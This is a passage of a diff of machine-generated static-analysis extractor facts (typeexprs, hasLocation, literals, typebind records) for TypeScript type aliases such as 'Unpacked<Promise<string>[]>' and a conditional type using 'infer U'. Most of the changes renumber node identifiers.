-typeexprs(#22898,1,#22896,0,"T2") -hasLocation(#22898,#21608) -enclosing_stmt(#22898,#22896) -expr_containers(#22898,#22805) -literals("T2","T2",#22898) -typedecl(#22898,#22812) +typeexprs(#22896,2,#22894,0,"string") +hasLocation(#22896,#21596) +enclosing_stmt(#22896,#22888) +expr_containers(#22896,#22805) +literals("string","string",#22896) +#22897=* +stmts(#22897,35,#22805,3,"type T2 ... tring>;") +#22898=@"loc,{#10000},81,3,81,35" +locations_default(#22898,#10000,81,3,81,35) +hasLocation(#22897,#22898) +stmt_containers(#22897,#22805) #22899=* -typeexprs(#22899,14,#22896,1,"Unpacke ... string>") -#22900=@"loc,{#10000},81,13,81,34" -locations_default(#22900,#10000,81,13,81,34) -hasLocation(#22899,#22900) -enclosing_stmt(#22899,#22896) +typeexprs(#22899,1,#22897,0,"T2") +hasLocation(#22899,#21608) +enclosing_stmt(#22899,#22897) expr_containers(#22899,#22805) -#22901=* -typeexprs(#22901,0,#22899,-1,"Unpacked") -hasLocation(#22901,#21612) -enclosing_stmt(#22901,#22896) -expr_containers(#22901,#22805) -literals("Unpacked","Unpacked",#22901) -typebind(#22901,#22809) +literals("T2","T2",#22899) +typedecl(#22899,#22813) +#22900=* +typeexprs(#22900,14,#22897,1,"Unpacke ... string>") +#22901=@"loc,{#10000},81,13,81,34" +locations_default(#22901,#10000,81,13,81,34) +hasLocation(#22900,#22901) +enclosing_stmt(#22900,#22897) +expr_containers(#22900,#22805) #22902=* -typeexprs(#22902,23,#22899,0,"() => string") -#22903=@"loc,{#10000},81,22,81,33" -locations_default(#22903,#10000,81,22,81,33) -hasLocation(#22902,#22903) -enclosing_stmt(#22902,#22896) +typeexprs(#22902,0,#22900,-1,"Unpacked") +hasLocation(#22902,#21612) +enclosing_stmt(#22902,#22897) expr_containers(#22902,#22805) -#22904=* -exprs(#22904,9,#22902,0,"() => string") -hasLocation(#22904,#22903) -enclosing_stmt(#22904,#22896) -expr_containers(#22904,#22805) +literals("Unpacked","Unpacked",#22902) +typebind(#22902,#22810) +#22903=* +typeexprs(#22903,23,#22900,0,"() => string") +#22904=@"loc,{#10000},81,22,81,33" +locations_default(#22904,#10000,81,22,81,33) +hasLocation(#22903,#22904) +enclosing_stmt(#22903,#22897) +expr_containers(#22903,#22805) #22905=* -scopes(#22905,1) -scopenodes(#22904,#22905) -scopenesting(#22905,#22808) -#22906=@"var;{arguments};{#22905}" -variables(#22906,"arguments",#22905) -is_arguments_object(#22906) -#22907=* -typeexprs(#22907,2,#22904,-3,"string") -hasLocation(#22907,#21622) -expr_containers(#22907,#22904) -literals("string","string",#22907) +exprs(#22905,9,#22903,0,"() => string") +hasLocation(#22905,#22904) +enclosing_stmt(#22905,#22897) +expr_containers(#22905,#22805) +#22906=* +scopes(#22906,1) +scopenodes(#22905,#22906) +scopenesting(#22906,#22808) +#22907=@"var;{arguments};{#22906}" +variables(#22907,"arguments",#22906) +is_arguments_object(#22907) #22908=* -stmts(#22908,35,#22805,4,"type T3 ... ring>>;") -#22909=@"loc,{#10000},82,3,82,38" -locations_default(#22909,#10000,82,3,82,38) -hasLocation(#22908,#22909) -stmt_containers(#22908,#22805) -#22910=* -typeexprs(#22910,1,#22908,0,"T3") -hasLocation(#22910,#21630) -enclosing_stmt(#22910,#22908) -expr_containers(#22910,#22805) -literals("T3","T3",#22910) -typedecl(#22910,#22813) +typeexprs(#22908,2,#22905,-3,"string") +hasLocation(#22908,#21622) +expr_containers(#22908,#22905) +literals("string","string",#22908) +#22909=* +stmts(#22909,35,#22805,4,"type T3 ... ring>>;") +#22910=@"loc,{#10000},82,3,82,38" +locations_default(#22910,#10000,82,3,82,38) +hasLocation(#22909,#22910) +stmt_containers(#22909,#22805) #22911=* -typeexprs(#22911,14,#22908,1,"Unpacke ... tring>>") -#22912=@"loc,{#10000},82,13,82,37" -locations_default(#22912,#10000,82,13,82,37) -hasLocation(#22911,#22912) -enclosing_stmt(#22911,#22908) +typeexprs(#22911,1,#22909,0,"T3") +hasLocation(#22911,#21630) +enclosing_stmt(#22911,#22909) expr_containers(#22911,#22805) -#22913=* -typeexprs(#22913,0,#22911,-1,"Unpacked") -hasLocation(#22913,#21634) -enclosing_stmt(#22913,#22908) -expr_containers(#22913,#22805) -literals("Unpacked","Unpacked",#22913) -typebind(#22913,#22809) +literals("T3","T3",#22911) +typedecl(#22911,#22814) +#22912=* +typeexprs(#22912,14,#22909,1,"Unpacke ... tring>>") +#22913=@"loc,{#10000},82,13,82,37" +locations_default(#22913,#10000,82,13,82,37) +hasLocation(#22912,#22913) +enclosing_stmt(#22912,#22909) +expr_containers(#22912,#22805) #22914=* -typeexprs(#22914,14,#22911,0,"Promise") -#22915=@"loc,{#10000},82,22,82,36" -locations_default(#22915,#10000,82,22,82,36) -hasLocation(#22914,#22915) -enclosing_stmt(#22914,#22908) +typeexprs(#22914,0,#22912,-1,"Unpacked") +hasLocation(#22914,#21634) +enclosing_stmt(#22914,#22909) expr_containers(#22914,#22805) -#22916=* -typeexprs(#22916,0,#22914,-1,"Promise") -hasLocation(#22916,#21638) -enclosing_stmt(#22916,#22908) -expr_containers(#22916,#22805) -literals("Promise","Promise",#22916) +literals("Unpacked","Unpacked",#22914) +typebind(#22914,#22810) +#22915=* +typeexprs(#22915,14,#22912,0,"Promise") +#22916=@"loc,{#10000},82,22,82,36" +locations_default(#22916,#10000,82,22,82,36) +hasLocation(#22915,#22916) +enclosing_stmt(#22915,#22909) +expr_containers(#22915,#22805) #22917=* -typeexprs(#22917,2,#22914,0,"string") -hasLocation(#22917,#21642) -enclosing_stmt(#22917,#22908) +typeexprs(#22917,0,#22915,-1,"Promise") +hasLocation(#22917,#21638) +enclosing_stmt(#22917,#22909) expr_containers(#22917,#22805) -literals("string","string",#22917) +literals("Promise","Promise",#22917) #22918=* -stmts(#22918,35,#22805,5,"type T4 ... ng>[]>;") -#22919=@"loc,{#10000},83,3,83,40" -locations_default(#22919,#10000,83,3,83,40) -hasLocation(#22918,#22919) -stmt_containers(#22918,#22805) -#22920=* -typeexprs(#22920,1,#22918,0,"T4") -hasLocation(#22920,#21652) -enclosing_stmt(#22920,#22918) -expr_containers(#22920,#22805) -literals("T4","T4",#22920) -typedecl(#22920,#22814) +typeexprs(#22918,2,#22915,0,"string") +hasLocation(#22918,#21642) +enclosing_stmt(#22918,#22909) +expr_containers(#22918,#22805) +literals("string","string",#22918) +#22919=* +stmts(#22919,35,#22805,5,"type T4 ... ng>[]>;") +#22920=@"loc,{#10000},83,3,83,40" +locations_default(#22920,#10000,83,3,83,40) +hasLocation(#22919,#22920) +stmt_containers(#22919,#22805) #22921=* -typeexprs(#22921,14,#22918,1,"Unpacke ... ing>[]>") -#22922=@"loc,{#10000},83,13,83,39" -locations_default(#22922,#10000,83,13,83,39) -hasLocation(#22921,#22922) -enclosing_stmt(#22921,#22918) +typeexprs(#22921,1,#22919,0,"T4") +hasLocation(#22921,#21652) +enclosing_stmt(#22921,#22919) expr_containers(#22921,#22805) -#22923=* -typeexprs(#22923,0,#22921,-1,"Unpacked") -hasLocation(#22923,#21656) -enclosing_stmt(#22923,#22918) -expr_containers(#22923,#22805) -literals("Unpacked","Unpacked",#22923) -typebind(#22923,#22809) +literals("T4","T4",#22921) +typedecl(#22921,#22815) +#22922=* +typeexprs(#22922,14,#22919,1,"Unpacke ... ing>[]>") +#22923=@"loc,{#10000},83,13,83,39" +locations_default(#22923,#10000,83,13,83,39) +hasLocation(#22922,#22923) +enclosing_stmt(#22922,#22919) +expr_containers(#22922,#22805) #22924=* -typeexprs(#22924,6,#22921,0,"Promise[]") -#22925=@"loc,{#10000},83,22,83,38" -locations_default(#22925,#10000,83,22,83,38) -hasLocation(#22924,#22925) -enclosing_stmt(#22924,#22918) +typeexprs(#22924,0,#22922,-1,"Unpacked") +hasLocation(#22924,#21656) +enclosing_stmt(#22924,#22919) expr_containers(#22924,#22805) -#22926=* -typeexprs(#22926,14,#22924,0,"Promise") -#22927=@"loc,{#10000},83,22,83,36" -locations_default(#22927,#10000,83,22,83,36) -hasLocation(#22926,#22927) -enclosing_stmt(#22926,#22918) -expr_containers(#22926,#22805) -#22928=* -typeexprs(#22928,0,#22926,-1,"Promise") -hasLocation(#22928,#21660) -enclosing_stmt(#22928,#22918) -expr_containers(#22928,#22805) -literals("Promise","Promise",#22928) +literals("Unpacked","Unpacked",#22924) +typebind(#22924,#22810) +#22925=* +typeexprs(#22925,6,#22922,0,"Promise[]") +#22926=@"loc,{#10000},83,22,83,38" +locations_default(#22926,#10000,83,22,83,38) +hasLocation(#22925,#22926) +enclosing_stmt(#22925,#22919) +expr_containers(#22925,#22805) +#22927=* +typeexprs(#22927,14,#22925,0,"Promise") +#22928=@"loc,{#10000},83,22,83,36" +locations_default(#22928,#10000,83,22,83,36) +hasLocation(#22927,#22928) +enclosing_stmt(#22927,#22919) +expr_containers(#22927,#22805) #22929=* -typeexprs(#22929,2,#22926,0,"string") -hasLocation(#22929,#21664) -enclosing_stmt(#22929,#22918) +typeexprs(#22929,0,#22927,-1,"Promise") +hasLocation(#22929,#21660) +enclosing_stmt(#22929,#22919) expr_containers(#22929,#22805) -literals("string","string",#22929) +literals("Promise","Promise",#22929) #22930=* -stmts(#22930,35,#22805,6,"type T5 ... g>[]>>;") -#22931=@"loc,{#10000},84,3,84,50" -locations_default(#22931,#10000,84,3,84,50) -hasLocation(#22930,#22931) -stmt_containers(#22930,#22805) -#22932=* -typeexprs(#22932,1,#22930,0,"T5") -hasLocation(#22932,#21678) -enclosing_stmt(#22932,#22930) -expr_containers(#22932,#22805) -literals("T5","T5",#22932) -typedecl(#22932,#22815) +typeexprs(#22930,2,#22927,0,"string") +hasLocation(#22930,#21664) +enclosing_stmt(#22930,#22919) +expr_containers(#22930,#22805) +literals("string","string",#22930) +#22931=* +stmts(#22931,35,#22805,6,"type T5 ... g>[]>>;") +#22932=@"loc,{#10000},84,3,84,50" +locations_default(#22932,#10000,84,3,84,50) +hasLocation(#22931,#22932) +stmt_containers(#22931,#22805) #22933=* -typeexprs(#22933,14,#22930,1,"Unpacke ... ng>[]>>") -#22934=@"loc,{#10000},84,13,84,49" -locations_default(#22934,#10000,84,13,84,49) -hasLocation(#22933,#22934) -enclosing_stmt(#22933,#22930) +typeexprs(#22933,1,#22931,0,"T5") +hasLocation(#22933,#21678) +enclosing_stmt(#22933,#22931) expr_containers(#22933,#22805) -#22935=* -typeexprs(#22935,0,#22933,-1,"Unpacked") -hasLocation(#22935,#21682) -enclosing_stmt(#22935,#22930) -expr_containers(#22935,#22805) -literals("Unpacked","Unpacked",#22935) -typebind(#22935,#22809) +literals("T5","T5",#22933) +typedecl(#22933,#22816) +#22934=* +typeexprs(#22934,14,#22931,1,"Unpacke ... ng>[]>>") +#22935=@"loc,{#10000},84,13,84,49" +locations_default(#22935,#10000,84,13,84,49) +hasLocation(#22934,#22935) +enclosing_stmt(#22934,#22931) +expr_containers(#22934,#22805) #22936=* -typeexprs(#22936,14,#22933,0,"Unpacke ... ing>[]>") -#22937=@"loc,{#10000},84,22,84,48" -locations_default(#22937,#10000,84,22,84,48) -hasLocation(#22936,#22937) -enclosing_stmt(#22936,#22930) +typeexprs(#22936,0,#22934,-1,"Unpacked") +hasLocation(#22936,#21682) +enclosing_stmt(#22936,#22931) expr_containers(#22936,#22805) -#22938=* -typeexprs(#22938,0,#22936,-1,"Unpacked") -hasLocation(#22938,#21686) -enclosing_stmt(#22938,#22930) -expr_containers(#22938,#22805) -literals("Unpacked","Unpacked",#22938) -typebind(#22938,#22809) +literals("Unpacked","Unpacked",#22936) +typebind(#22936,#22810) +#22937=* +typeexprs(#22937,14,#22934,0,"Unpacke ... ing>[]>") +#22938=@"loc,{#10000},84,22,84,48" +locations_default(#22938,#10000,84,22,84,48) +hasLocation(#22937,#22938) +enclosing_stmt(#22937,#22931) +expr_containers(#22937,#22805) #22939=* -typeexprs(#22939,6,#22936,0,"Promise[]") -#22940=@"loc,{#10000},84,31,84,47" -locations_default(#22940,#10000,84,31,84,47) -hasLocation(#22939,#22940) -enclosing_stmt(#22939,#22930) +typeexprs(#22939,0,#22937,-1,"Unpacked") +hasLocation(#22939,#21686) +enclosing_stmt(#22939,#22931) expr_containers(#22939,#22805) -#22941=* -typeexprs(#22941,14,#22939,0,"Promise") -#22942=@"loc,{#10000},84,31,84,45" -locations_default(#22942,#10000,84,31,84,45) -hasLocation(#22941,#22942) -enclosing_stmt(#22941,#22930) -expr_containers(#22941,#22805) -#22943=* -typeexprs(#22943,0,#22941,-1,"Promise") -hasLocation(#22943,#21690) -enclosing_stmt(#22943,#22930) -expr_containers(#22943,#22805) -literals("Promise","Promise",#22943) +literals("Unpacked","Unpacked",#22939) +typebind(#22939,#22810) +#22940=* +typeexprs(#22940,6,#22937,0,"Promise[]") +#22941=@"loc,{#10000},84,31,84,47" +locations_default(#22941,#10000,84,31,84,47) +hasLocation(#22940,#22941) +enclosing_stmt(#22940,#22931) +expr_containers(#22940,#22805) +#22942=* +typeexprs(#22942,14,#22940,0,"Promise") +#22943=@"loc,{#10000},84,31,84,45" +locations_default(#22943,#10000,84,31,84,45) +hasLocation(#22942,#22943) +enclosing_stmt(#22942,#22931) +expr_containers(#22942,#22805) #22944=* -typeexprs(#22944,2,#22941,0,"string") -hasLocation(#22944,#21694) -enclosing_stmt(#22944,#22930) +typeexprs(#22944,0,#22942,-1,"Promise") +hasLocation(#22944,#21690) +enclosing_stmt(#22944,#22931) expr_containers(#22944,#22805) -literals("string","string",#22944) +literals("Promise","Promise",#22944) #22945=* -stmts(#22945,35,#22805,7,"type Fo ... never;") -#22946=@"loc,{#10000},86,3,86,65" -locations_default(#22946,#10000,86,3,86,65) -hasLocation(#22945,#22946) -stmt_containers(#22945,#22805) -#22947=* -typeexprs(#22947,1,#22945,0,"Foo") -hasLocation(#22947,#21710) -enclosing_stmt(#22947,#22945) -expr_containers(#22947,#22805) -literals("Foo","Foo",#22947) -typedecl(#22947,#22816) +typeexprs(#22945,2,#22942,0,"string") +hasLocation(#22945,#21694) +enclosing_stmt(#22945,#22931) +expr_containers(#22945,#22805) +literals("string","string",#22945) +#22946=* +stmts(#22946,35,#22805,7,"type Fo ... never;") +#22947=@"loc,{#10000},86,3,86,65" +locations_default(#22947,#10000,86,3,86,65) +hasLocation(#22946,#22947) +stmt_containers(#22946,#22805) #22948=* -scopes(#22948,12) -scopenodes(#22945,#22948) -scopenesting(#22948,#22808) -#22949=@"local_type_name;{T};{#22948}" -local_type_names(#22949,"T",#22948) -#22950=* -typeexprs(#22950,22,#22945,2,"T") -hasLocation(#22950,#21714) -enclosing_stmt(#22950,#22945) -expr_containers(#22950,#22805) +typeexprs(#22948,1,#22946,0,"Foo") +hasLocation(#22948,#21710) +enclosing_stmt(#22948,#22946) +expr_containers(#22948,#22805) +literals("Foo","Foo",#22948) +typedecl(#22948,#22817) +#22949=* +scopes(#22949,12) +scopenodes(#22946,#22949) +scopenesting(#22949,#22808) +#22950=@"local_type_name;{T};{#22949}" +local_type_names(#22950,"T",#22949) #22951=* -typeexprs(#22951,1,#22950,0,"T") +typeexprs(#22951,22,#22946,2,"T") hasLocation(#22951,#21714) -enclosing_stmt(#22951,#22945) +enclosing_stmt(#22951,#22946) expr_containers(#22951,#22805) -literals("T","T",#22951) -typedecl(#22951,#22949) #22952=* -typeexprs(#22952,28,#22945,1,"T exten ... : never") -#22953=@"loc,{#10000},86,17,86,64" -locations_default(#22953,#10000,86,17,86,64) -hasLocation(#22952,#22953) -enclosing_stmt(#22952,#22945) +typeexprs(#22952,1,#22951,0,"T") +hasLocation(#22952,#21714) +enclosing_stmt(#22952,#22946) expr_containers(#22952,#22805) -#22954=* -typeexprs(#22954,0,#22952,0,"T") -hasLocation(#22954,#21720) -enclosing_stmt(#22954,#22945) -expr_containers(#22954,#22805) -literals("T","T",#22954) -typebind(#22954,#22949) +literals("T","T",#22952) +typedecl(#22952,#22950) +#22953=* +typeexprs(#22953,28,#22946,1,"T exten ... : never") +#22954=@"loc,{#10000},86,17,86,64" +locations_default(#22954,#10000,86,17,86,64) +hasLocation(#22953,#22954) +enclosing_stmt(#22953,#22946) +expr_containers(#22953,#22805) #22955=* -typeexprs(#22955,21,#22952,1,"{ a: in ... fer U }") -#22956=@"loc,{#10000},86,27,86,52" -locations_default(#22956,#10000,86,27,86,52) -hasLocation(#22955,#22956) -enclosing_stmt(#22955,#22945) +typeexprs(#22955,0,#22953,0,"T") +hasLocation(#22955,#21720) +enclosing_stmt(#22955,#22946) expr_containers(#22955,#22805) -#22957=* -properties(#22957,#22955,0,8,"a: infer U,") -#22958=@"loc,{#10000},86,29,86,39" -locations_default(#22958,#10000,86,29,86,39) -hasLocation(#22957,#22958) -#22959=* -exprs(#22959,0,#22957,0,"a") -hasLocation(#22959,#21726) -enclosing_stmt(#22959,#22945) -expr_containers(#22959,#22805) -literals("a","a",#22959) -is_abstract_member(#22957) +literals("T","T",#22955) +typebind(#22955,#22950) +#22956=* +typeexprs(#22956,21,#22953,1,"{ a: in ... fer U }") +#22957=@"loc,{#10000},86,27,86,52" +locations_default(#22957,#10000,86,27,86,52) +hasLocation(#22956,#22957) +enclosing_stmt(#22956,#22946) +expr_containers(#22956,#22805) +#22958=* +properties(#22958,#22956,0,8,"a: infer U,") +#22959=@"loc,{#10000},86,29,86,39" +locations_default(#22959,#10000,86,29,86,39) +hasLocation(#22958,#22959) #22960=* -typeexprs(#22960,29,#22957,2,"infer U") -#22961=@"loc,{#10000},86,32,86,38" -locations_default(#22961,#10000,86,32,86,38) -hasLocation(#22960,#22961) -enclosing_stmt(#22960,#22945) +exprs(#22960,0,#22958,0,"a") +hasLocation(#22960,#21726) +enclosing_stmt(#22960,#22946) expr_containers(#22960,#22805) -#22962=* -typeexprs(#22962,22,#22960,0,"U") -hasLocation(#22962,#21732) -enclosing_stmt(#22962,#22945) -expr_containers(#22962,#22805) +literals("a","a",#22960) +is_abstract_member(#22958) +#22961=* +typeexprs(#22961,29,#22958,2,"infer U") +#22962=@"loc,{#10000},86,32,86,38" +locations_default(#22962,#10000,86,32,86,38) +hasLocation(#22961,#22962) +enclosing_stmt(#22961,#22946) +expr_containers(#22961,#22805) #22963=* -typeexprs(#22963,1,#22962,0,"U") +typeexprs(#22963,22,#22961,0,"U") hasLocation(#22963,#21732) -enclosing_stmt(#22963,#22945) +enclosing_stmt(#22963,#22946) expr_containers(#22963,#22805) -literals("U","U",#22963) #22964=* -properties(#22964,#22955,1,8,"b: infer U") -#22965=@"loc,{#10000},86,41,86,50" -locations_default(#22965,#10000,86,41,86,50) -hasLocation(#22964,#22965) -#22966=* -exprs(#22966,0,#22964,0,"b") -hasLocation(#22966,#21736) -enclosing_stmt(#22966,#22945) -expr_containers(#22966,#22805) -literals("b","b",#22966) -is_abstract_member(#22964) +typeexprs(#22964,1,#22963,0,"U") +hasLocation(#22964,#21732) +enclosing_stmt(#22964,#22946) +expr_containers(#22964,#22805) +literals("U","U",#22964) +#22965=* +properties(#22965,#22956,1,8,"b: infer U") +#22966=@"loc,{#10000},86,41,86,50" +locations_default(#22966,#10000,86,41,86,50) +hasLocation(#22965,#22966) #22967=* -typeexprs(#22967,29,#22964,2,"infer U") -#22968=@"loc,{#10000},86,44,86,50" -locations_default(#22968,#10000,86,44,86,50) -hasLocation(#22967,#22968) -enclosing_stmt(#22967,#22945) +exprs(#22967,0,#22965,0,"b") +hasLocation(#22967,#21736) +enclosing_stmt(#22967,#22946) expr_containers(#22967,#22805) -#22969=* -typeexprs(#22969,22,#22967,0,"U") -hasLocation(#22969,#21742) -enclosing_stmt(#22969,#22945) -expr_containers(#22969,#22805) +literals("b","b",#22967) +is_abstract_member(#22965) +#22968=* +typeexprs(#22968,29,#22965,2,"infer U") +#22969=@"loc,{#10000},86,44,86,50" +locations_default(#22969,#10000,86,44,86,50) +hasLocation(#22968,#22969) +enclosing_stmt(#22968,#22946) +expr_containers(#22968,#22805) #22970=* -typeexprs(#22970,1,#22969,0,"U") +typeexprs(#22970,22,#22968,0,"U") hasLocation(#22970,#21742) -enclosing_stmt(#22970,#22945) +enclosing_stmt(#22970,#22946) expr_containers(#22970,#22805) -literals("U","U",#22970) #22971=* -typeexprs(#22971,0,#22952,2,"U") -hasLocation(#22971,#21748) -enclosing_stmt(#22971,#22945) +typeexprs(#22971,1,#22970,0,"U") +hasLocation(#22971,#21742) +enclosing_stmt(#22971,#22946) expr_containers(#22971,#22805) literals("U","U",#22971) #22972=* -typeexprs(#22972,2,#22952,3,"never") -hasLocation(#22972,#21752) -enclosing_stmt(#22972,#22945) +typeexprs(#22972,0,#22953,2,"U") +hasLocation(#22972,#21748) +enclosing_stmt(#22972,#22946) expr_containers(#22972,#22805) -literals("never","never",#22972) +literals("U","U",#22972) #22973=* -stmts(#22973,35,#22805,8,"type T1 ... ing }>;") -#22974=@"loc,{#10000},87,3,87,43" -locations_default(#22974,#10000,87,3,87,43) -hasLocation(#22973,#22974) -stmt_containers(#22973,#22805) -#22975=* -typeexprs(#22975,1,#22973,0,"T10") -hasLocation(#22975,#21758) -enclosing_stmt(#22975,#22973) -expr_containers(#22975,#22805) -literals("T10","T10",#22975) -typedecl(#22975,#22817) +typeexprs(#22973,2,#22953,3,"never") +hasLocation(#22973,#21752) +enclosing_stmt(#22973,#22946) +expr_containers(#22973,#22805) +literals("never","never",#22973) +#22974=* +stmts(#22974,35,#22805,8,"type T1 ... ing }>;") +#22975=@"loc,{#10000},87,3,87,43" +locations_default(#22975,#10000,87,3,87,43) +hasLocation(#22974,#22975) +stmt_containers(#22974,#22805) #22976=* -typeexprs(#22976,14,#22973,1,"Foo<{ a ... ring }>") -#22977=@"loc,{#10000},87,14,87,42" -locations_default(#22977,#10000,87,14,87,42) -hasLocation(#22976,#22977) -enclosing_stmt(#22976,#22973) +typeexprs(#22976,1,#22974,0,"T10") +hasLocation(#22976,#21758) +enclosing_stmt(#22976,#22974) expr_containers(#22976,#22805) -#22978=* -typeexprs(#22978,0,#22976,-1,"Foo") -hasLocation(#22978,#21762) -enclosing_stmt(#22978,#22973) -expr_containers(#22978,#22805) -literals("Foo","Foo",#22978) -typebind(#22978,#22816) +literals("T10","T10",#22976) +typedecl(#22976,#22818) +#22977=* +typeexprs(#22977,14,#22974,1,"Foo<{ a ... ring }>") +#22978=@"loc,{#10000},87,14,87,42" +locations_default(#22978,#10000,87,14,87,42) +hasLocation(#22977,#22978) +enclosing_stmt(#22977,#22974) +expr_containers(#22977,#22805) #22979=* -typeexprs(#22979,21,#22976,0,"{ a: st ... tring }") -#22980=@"loc,{#10000},87,18,87,41" -locations_default(#22980,#10000,87,18,87,41) -hasLocation(#22979,#22980) -enclosing_stmt(#22979,#22973) +typeexprs(#22979,0,#22977,-1,"Foo") +hasLocation(#22979,#21762) +enclosing_stmt(#22979,#22974) expr_containers(#22979,#22805) -#22981=* -properties(#22981,#22979,0,8,"a: string,") -#22982=@"loc,{#10000},87,20,87,29" -locations_default(#22982,#10000,87,20,87,29) -hasLocation(#22981,#22982) -#22983=* -exprs(#22983,0,#22981,0,"a") -hasLocation(#22983,#21768) -enclosing_stmt(#22983,#22973) -expr_containers(#22983,#22805) -literals("a","a",#22983) -is_abstract_member(#22981) +literals("Foo","Foo",#22979) +typebind(#22979,#22817) +#22980=* +typeexprs(#22980,21,#22977,0,"{ a: st ... tring }") +#22981=@"loc,{#10000},87,18,87,41" +locations_default(#22981,#10000,87,18,87,41) +hasLocation(#22980,#22981) +enclosing_stmt(#22980,#22974) +expr_containers(#22980,#22805) +#22982=* +properties(#22982,#22980,0,8,"a: string,") +#22983=@"loc,{#10000},87,20,87,29" +locations_default(#22983,#10000,87,20,87,29) +hasLocation(#22982,#22983) #22984=* -typeexprs(#22984,2,#22981,2,"string") -hasLocation(#22984,#21772) -enclosing_stmt(#22984,#22973) +exprs(#22984,0,#22982,0,"a") +hasLocation(#22984,#21768) +enclosing_stmt(#22984,#22974) expr_containers(#22984,#22805) -literals("string","string",#22984) +literals("a","a",#22984) +is_abstract_member(#22982) #22985=* -properties(#22985,#22979,1,8,"b: string") -#22986=@"loc,{#10000},87,31,87,39" -locations_default(#22986,#10000,87,31,87,39) -hasLocation(#22985,#22986) -#22987=* -exprs(#22987,0,#22985,0,"b") -hasLocation(#22987,#21776) -enclosing_stmt(#22987,#22973) -expr_containers(#22987,#22805) -literals("b","b",#22987) -is_abstract_member(#22985) +typeexprs(#22985,2,#22982,2,"string") +hasLocation(#22985,#21772) +enclosing_stmt(#22985,#22974) +expr_containers(#22985,#22805) +literals("string","string",#22985) +#22986=* +properties(#22986,#22980,1,8,"b: string") +#22987=@"loc,{#10000},87,31,87,39" +locations_default(#22987,#10000,87,31,87,39) +hasLocation(#22986,#22987) #22988=* -typeexprs(#22988,2,#22985,2,"string") -hasLocation(#22988,#21780) -enclosing_stmt(#22988,#22973) +exprs(#22988,0,#22986,0,"b") +hasLocation(#22988,#21776) +enclosing_stmt(#22988,#22974) expr_containers(#22988,#22805) -literals("string","string",#22988) +literals("b","b",#22988) +is_abstract_member(#22986) #22989=* -stmts(#22989,35,#22805,9,"type T1 ... ber }>;") -#22990=@"loc,{#10000},88,3,88,43" -locations_default(#22990,#10000,88,3,88,43) -hasLocation(#22989,#22990) -stmt_containers(#22989,#22805) -#22991=* -typeexprs(#22991,1,#22989,0,"T11") -hasLocation(#22991,#21790) -enclosing_stmt(#22991,#22989) -expr_containers(#22991,#22805) -literals("T11","T11",#22991) -typedecl(#22991,#22818) +typeexprs(#22989,2,#22986,2,"string") +hasLocation(#22989,#21780) +enclosing_stmt(#22989,#22974) +expr_containers(#22989,#22805) +literals("string","string",#22989) +#22990=* +stmts(#22990,35,#22805,9,"type T1 ... ber }>;") +#22991=@"loc,{#10000},88,3,88,43" +locations_default(#22991,#10000,88,3,88,43) +hasLocation(#22990,#22991) +stmt_containers(#22990,#22805) #22992=* -typeexprs(#22992,14,#22989,1,"Foo<{ a ... mber }>") -#22993=@"loc,{#10000},88,14,88,42" -locations_default(#22993,#10000,88,14,88,42) -hasLocation(#22992,#22993) -enclosing_stmt(#22992,#22989) +typeexprs(#22992,1,#22990,0,"T11") +hasLocation(#22992,#21790) +enclosing_stmt(#22992,#22990) expr_containers(#22992,#22805) -#22994=* -typeexprs(#22994,0,#22992,-1,"Foo") -hasLocation(#22994,#21794) -enclosing_stmt(#22994,#22989) -expr_containers(#22994,#22805) -literals("Foo","Foo",#22994) -typebind(#22994,#22816) +literals("T11","T11",#22992) +typedecl(#22992,#22819) +#22993=* +typeexprs(#22993,14,#22990,1,"Foo<{ a ... mber }>") +#22994=@"loc,{#10000},88,14,88,42" +locations_default(#22994,#10000,88,14,88,42) +hasLocation(#22993,#22994) +enclosing_stmt(#22993,#22990) +expr_containers(#22993,#22805) #22995=* -typeexprs(#22995,21,#22992,0,"{ a: st ... umber }") -#22996=@"loc,{#10000},88,18,88,41" -locations_default(#22996,#10000,88,18,88,41) -hasLocation(#22995,#22996) -enclosing_stmt(#22995,#22989) +typeexprs(#22995,0,#22993,-1,"Foo") +hasLocation(#22995,#21794) +enclosing_stmt(#22995,#22990) expr_containers(#22995,#22805) -#22997=* -properties(#22997,#22995,0,8,"a: string,") -#22998=@"loc,{#10000},88,20,88,29" -locations_default(#22998,#10000,88,20,88,29) -hasLocation(#22997,#22998) -#22999=* -exprs(#22999,0,#22997,0,"a") -hasLocation(#22999,#21800) -enclosing_stmt(#22999,#22989) -expr_containers(#22999,#22805) -literals("a","a",#22999) -is_abstract_member(#22997) +literals("Foo","Foo",#22995) +typebind(#22995,#22817) +#22996=* +typeexprs(#22996,21,#22993,0,"{ a: st ... umber }") +#22997=@"loc,{#10000},88,18,88,41" +locations_default(#22997,#10000,88,18,88,41) +hasLocation(#22996,#22997) +enclosing_stmt(#22996,#22990) +expr_containers(#22996,#22805) +#22998=* +properties(#22998,#22996,0,8,"a: string,") +#22999=@"loc,{#10000},88,20,88,29" +locations_default(#22999,#10000,88,20,88,29) +hasLocation(#22998,#22999) #23000=* -typeexprs(#23000,2,#22997,2,"string") -hasLocation(#23000,#21804) -enclosing_stmt(#23000,#22989) +exprs(#23000,0,#22998,0,"a") +hasLocation(#23000,#21800) +enclosing_stmt(#23000,#22990) expr_containers(#23000,#22805) -literals("string","string",#23000) +literals("a","a",#23000) +is_abstract_member(#22998) #23001=* -properties(#23001,#22995,1,8,"b: number") -#23002=@"loc,{#10000},88,31,88,39" -locations_default(#23002,#10000,88,31,88,39) -hasLocation(#23001,#23002) -#23003=* -exprs(#23003,0,#23001,0,"b") -hasLocation(#23003,#21808) -enclosing_stmt(#23003,#22989) -expr_containers(#23003,#22805) -literals("b","b",#23003) -is_abstract_member(#23001) +typeexprs(#23001,2,#22998,2,"string") +hasLocation(#23001,#21804) +enclosing_stmt(#23001,#22990) +expr_containers(#23001,#22805) +literals("string","string",#23001) +#23002=* +properties(#23002,#22996,1,8,"b: number") +#23003=@"loc,{#10000},88,31,88,39" +locations_default(#23003,#10000,88,31,88,39) +hasLocation(#23002,#23003) #23004=* -typeexprs(#23004,2,#23001,2,"number") -hasLocation(#23004,#21812) -enclosing_stmt(#23004,#22989) +exprs(#23004,0,#23002,0,"b") +hasLocation(#23004,#21808) +enclosing_stmt(#23004,#22990) expr_containers(#23004,#22805) -literals("number","number",#23004) +literals("b","b",#23004) +is_abstract_member(#23002) #23005=* -stmts(#23005,35,#22805,10,"type Ba ... never;") -#23006=@"loc,{#10000},90,3,90,91" -locations_default(#23006,#10000,90,3,90,91) -hasLocation(#23005,#23006) -stmt_containers(#23005,#22805) -#23007=* -typeexprs(#23007,1,#23005,0,"Bar") -hasLocation(#23007,#21822) -enclosing_stmt(#23007,#23005) 